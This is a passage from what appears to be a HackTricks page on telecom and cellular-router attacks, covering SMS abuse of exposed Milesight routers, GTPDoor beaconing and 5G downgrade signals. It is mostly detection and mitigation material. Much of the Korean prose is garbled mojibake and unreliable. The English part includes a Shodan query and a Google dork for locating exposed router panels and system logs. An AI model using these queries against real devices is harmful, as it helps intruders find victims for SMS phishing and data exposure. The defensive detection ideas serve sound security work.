  • ๊ฐ™์€ ์ถœ๋ฐœ์ง€ IP์—์„œ ์—ฌ๋Ÿฌ ๊ณ ์œ  ๋ฒˆํ˜ธ์— ๊ฑธ์ณ status":"failed" ํ•ญ๋ชฉ์ด ๋’ค๋”ฐ๋ฅด๋Š” ๋ฐ˜๋ณต์ ์ธ POST /cgi ํญ์ฃผ๋ฅผ ์ถ”์  (capability testing).
  • ์ธํ„ฐ๋„ท์— ๋…ธ์ถœ๋œ Milesight ๋ผ์šฐํ„ฐ๋ฅผ ๋ชฉ๋กํ™”; ๊ด€๋ฆฌ ์ ‘๊ทผ์„ VPN์œผ๋กœ ์ œํ•œ; ํ•„์š”ํ•˜์ง€ ์•Š์œผ๋ฉด SMS ๊ธฐ๋Šฅ ๋น„ํ™œ์„ฑํ™”; โ‰ฅ v35.3.0.7๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ; ์ž๊ฒฉ ์ฆ๋ช… ๊ต์ฒด ๋ฐ ์•Œ ์ˆ˜ ์—†๋Š” ๋ฐœ์‹ ์— ๋Œ€ํ•œ SMS ๋กœ๊ทธ ๊ฒ€ํ† .

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.


ํƒ์ง€ ์•„์ด๋””์–ด

  1. SGSN/GGSN ์ด์™ธ์˜ ์–ด๋–ค ์žฅ์น˜๊ฐ€ Create PDP Context Requests๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒฝ์šฐ.
  2. ๋‚ด๋ถ€ IP์—์„œ Non-standard ports (53, 80, 443)์œผ๋กœ SSH handshakes๋ฅผ ์ˆ˜์‹ ํ•˜๋Š” ๊ฒฝ์šฐ.
  3. ์ƒ์‘ํ•˜๋Š” Echo Responses ์—†์ด ๋นˆ๋ฒˆํ•œ Echo Requests โ€“ GTPDoor ๋น„์ปจ์ผ ๊ฐ€๋Šฅ์„ฑ.
  4. ์‹๋ณ„์ž/์‹œํ€€์Šค ํ•„๋“œ๊ฐ€ ํฌ๊ณ  0์ด ์•„๋‹Œ ๊ฐ’์ธ ICMP echo-reply ํŠธ๋ž˜ํ”ฝ์˜ ๋†’์€ ๋น„์œจ.
  5. 5G: InitialUEMessage๊ฐ€ ๋™์ผ ์—”๋“œํฌ์ธํŠธ์—์„œ ๋ฐ˜๋ณต๋˜๋Š” NAS Registration Requests๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ (replay signal).
  6. 5G: ๋น„์‘๊ธ‰ ์ƒํ™ฉ์—์„œ NAS Security Mode๊ฐ€ EEA0/EIA0๋ฅผ ํ˜‘์ƒํ•˜๋Š” ๊ฒฝ์šฐ.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ